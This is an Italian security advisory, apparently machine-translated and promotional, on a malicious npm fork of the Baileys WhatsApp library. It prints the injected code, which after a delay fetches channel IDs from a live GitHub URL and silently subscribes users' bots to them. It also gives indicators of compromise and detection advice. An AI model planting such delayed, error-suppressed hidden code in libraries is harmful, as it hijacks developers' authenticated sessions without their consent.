TL; DR
Migliori Team di ricerca sulla sicurezza Xygeni identificato un pacchetto npm dannoso, @dappaoffc/baileys-mod, pubblicato come fork della libreria API Web di WhatsApp ampiamente utilizzata @whiskeysockets/baileys.
A partire dalla versione 8.0.1, questo pacchetto npm dannoso contiene un'iniezione di codice runtime al suo interno lib/Socket/newsletter.jsLa logica iniettata sottoscrive silenziosamente la sessione del bot WhatsApp autenticato dello sviluppatore ai canali di newsletter controllati dagli aggressori.
Il payload si attiva 80 secondi dopo il caricamento del modulo e recupera dinamicamente il suo elenco di destinazione da GitHub, rendendo il comportamento autoaggiornante e difficile da rilevare tramite l'analisi in fase di installazione.
Panoramica tecnica
Durante il monitoraggio di routine delle dipendenze appena pubblicate, il team di ricerca sulla sicurezza di Xygeni ha rilevato un comportamento anomalo in @dappaoffc/baileys-mod, successivamente confermato come un pacchetto npm dannoso prendendo di mira l'ecosistema dei bot di WhatsApp.
A differenza dei worm che rubano le credenziali o dei dropper ransomware, questo pacchetto npm dannoso abusa del rapporto di fiducia tra uno sviluppatore e una libreria open source comunemente biforcata.
Il pacchetto si presenta come una versione modificata di Baileys, una popolare implementazione dell'API Web di WhatsApp ampiamente utilizzata per creare bot di automazione. In questo ecosistema, l'installazione di fork è una pratica comune. Di conseguenza, l'aggressore ha sfruttato un modello di distribuzione realistico anziché sfruttare una vulnerabilità.
Importante:
- Migliori lo script di preinstallazione convalida solo la versione di Node.js
- Nessuna esfiltrazione delle credenziali avviene al momento dell'installazione
- Non viene visualizzata alcuna attività post-installazione sospetta
- L'iniezione viene eseguita rigorosamente in fase di esecuzione
Grazie a questa progettazione, gli scanner in fase di installazione non rilevano comportamenti dannosi.
Meccanismo di iniezione in fase di esecuzione all'interno del pacchetto npm dannoso
La logica dannosa all'interno di questo pacchetto npm dannoso risiede in lib/Socket/newsletter.js, incorporato direttamente nel contesto di esecuzione del modulo.
L'aggressore ha racchiuso il blocco iniettato in un'espressione di funzione immediatamente invocata (IIFE), che garantisce l'esecuzione non appena il modulo viene caricato.
Tuttavia, invece di attivarsi immediatamente, il payload introduce un meccanismo di esecuzione ritardata:
(async () => {
try {
setTimeout(async() => {
const res = await fetch('https://raw.githubusercontent.com/skyzopedia/Screaper/refs/heads/main/idChannel.json');
const newsletterIds = await res.json();
newsletterIds.forEach(async(i) => {
await delay(5000)
try {
await newsletterWMexQuery(i.id, Types_1.QueryIds.FOLLOW);
} catch (e) {}
});
}, 80000)
} catch (err) {}
})()Una volta trascorso il ritardo, il payload esegue una sequenza controllata:
- Recupera un JSON file da un URL di contenuto grezzo di GitHub.
- Analizza un elenco di ID delle newsletter di WhatsApp.
- Scorre l'elenco.
- Bandi
newsletterWMexQuery(id, QueryIds.FOLLOW)per ogni voce. - Distribuisci le richieste a cinque secondi di distanza per ridurre il rilevamento del limite di velocità.
- Sopprime silenziosamente tutti gli errori di runtime.
Poiché il codice richiama funzioni di libreria interne anziché script esterni, il traffico risultante appare indistinguibile dalle azioni legittime avviate dall'utente. Da WhatsApp di dal punto di vista del protocollo, il bot si è iscritto volontariamente a quei canali.
Confronto tecnico: comportamento legittimo vs. comportamento iniettato
| Componente | Comportamento legittimo | Iniezione maligna |
|---|---|---|
| Fase di installazione | Convalida solo la versione di Node.js | Nessun comportamento dannoso visibile al momento dell'installazione |
| Inizializzazione del modulo | Esporta la fabbrica di prese WhatsApp | IIFE viene eseguito automaticamente al caricamento del modulo |
| Tempi di esecuzione | Nessun comportamento ritardato | Attivazione ritardata di 80 secondi |
| Comunicazione di rete | Comunica solo tramite il protocollo WhatsApp WebSocket | Recupero in uscita su contenuto grezzo di GitHub (canale di controllo dinamico) |
| Azioni della newsletter | Richieste di abbonamento avviate dall'utente | Richieste FOLLOW automatizzate tramite API della libreria interna |
| Gestione degli errori | Propaga errori operativi | Sopprime silenziosamente tutte le eccezioni |
Canale di controllo dinamico tramite GitHub
L'elenco degli ID della newsletter è ospitato su:
https://raw.githubusercontent.com/skyzopedia/Screaper/refs/heads/main/idChannel.jsonQuesta progettazione offre diversi vantaggi operativi:
- Aggiornamenti dinamici del payload senza pubblicare una nuova versione di npm
- Endpoint TLS attendibile che si integra nel normale traffico degli sviluppatori
- Non è richiesta alcuna infrastruttura gestita dall'aggressore
- Persistenza tra i bot già distribuiti
Poiché l'iniezione viene eseguita all'interno dell'ambito di fabbrica, riutilizza le chiusure interne come newsletterWMexQuery e delay senza importare moduli esterni. Questo riduce al minimo l'ingombro e aumenta la discrezione.
Di fatto, GitHub agisce come un canale di distribuzione di comandi leggero.
Alias di dipendenza e segnali di attribuzione
I metadati del pacchetto includono il seguente alias di dipendenza:
"libsignal": "npm:@skyzopedia/libsignal-node"Ciò reindirizza una dipendenza crittografica critica a un ambito npm controllato dall'aggressore.
Inoltre, i metadati impersonano il progetto upstream facendo riferimento all'autore e al repository originali. Questo aumenta la legittimità percepita e riduce il controllo durante la revisione informale.
Questi segnali indicano una deliberata fusione dell'ecosistema piuttosto che manomissione opportunistica.
Indicatori di compromissione per questo pacchetto npm dannoso
I team di sicurezza che indagano su questo pacchetto npm dannoso dovrebbero valutare i seguenti segnali:
Segnali di rete
- Richieste GET in uscita a
raw.githubusercontent.comdai processi dei bot di WhatsApp - Newsletter SEGUI azioni che si verificano senza che la logica dell'applicazione le attivi
Segnali del pacchetto
@dappaoffc/baileys-modversione 8.0.1 (e potenzialmente 8.0.0)- Reindirizzamento degli alias di dipendenza
libsignal - Iniezione IIFE in fase di esecuzione all'interno
newsletter.js
Segnali comportamentali
- Richieste FOLLOW distanziate in intervalli di cinque secondi
- Nessuna interazione dell'utente prima dell'iscrizione alla newsletter
- Soppressione silenziosa degli errori all'interno del codice della libreria principale
A differenza dei malware tradizionali, questo attacco non richiede l'esfiltrazione delle credenziali. L'abuso avviene interamente all'interno di un contesto di sessione già autenticato.
Rilevamento e mitigazione con Xygeni
Questo caso illustra perché la sola scansione in fase di installazione non è sufficiente. Il comportamento dannoso viene eseguito dopo il caricamento del modulo e si nasconde all'interno della logica aziendale legittima.
Malware Early Warning (MEW) di Xygeni ha rilevato questo pacchetto correlando più segnali anziché basarsi su una singola firma.
Analisi statica full-source
MEW ispeziona gli alberi sorgente completi dei pacchetti, non solo gli script del ciclo di vita.
In questo caso, i segnali di rilevamento includevano:
- Un inaspettato
fetch()chiamata all'interno di un modulo core di WhatsApp - Comunicazione in uscita al contenuto grezzo di GitHub
- Modelli di esecuzione ritardata incorporati nella logica di runtime
- Gestione degli errori silenziosi annidati
Individualmente, questi modelli possono apparire benigni. Tuttavia, l'analisi combinata rivela un comportamento anomalo, incompatibile con una forchetta Baileys legittima.
Correlazione del rischio di dipendenza
Migliori libsignal alias ha innescato un controllo aggiuntivo perché reindirizza una dipendenza sensibile a un ambito non verificato.
Xygeni correla:
- Segnali di reputazione dell'editore
- Incongruenze nella proprietà dell'ambito
- Reindirizzamento delle dipendenze sulle librerie crittografiche
- Indicatori di impersonificazione dei metadati
Questa analisi a strati riduce i falsi positivi e individua gli abusi di fiducia.
Controlli della catena di fornitura runtime-aware
Poiché questo pacchetto npm dannoso viene eseguito in fase di esecuzione, una difesa efficace richiede un'analisi basata sul comportamento.
Xygeni valuta:
- Meccanismi di esecuzione ritardata
- Uso improprio dell'API interna
- Chiamate di rete in uscita all'interno del codice di dipendenza
- Flusso di controllo anomalo all'interno di librerie di terze parti
Inoltre, Guardrails politiche dentro CI/CD può:
- Blocca le chiamate in uscita inaspettate durante le build
- Rileva modifiche sospette al grafico delle dipendenze
- Applicare restrizioni sul reindirizzamento dell'ambito
- Segnala modelli di recupero dinamico del payload
Pertanto, il contenimento non si basa esclusivamente sulla rimozione dei registri.
Perché questo pacchetto npm dannoso è importante per la sicurezza della supply chain
Questo pacchetto npm dannoso riflette un cambiamento strutturale nell'abuso della supply chain:
- Esecuzione in fase di esecuzione anziché payload in fase di installazione
- Canali di controllo dinamici ospitati su piattaforme affidabili
- Abuso di API interne legittime
- Spoofing dei metadati per imitare i manutentori upstream
L'aggressore non ha sfruttato una vulnerabilità software. Ha invece sfruttato la fiducia nei fork e negli aggiornamenti delle dipendenze.
Di conseguenza, il rilevamento richiede un'ispezione completa della sorgente, una correlazione del rischio di dipendenza e un'analisi runtime-aware, non solo la scansione degli script.
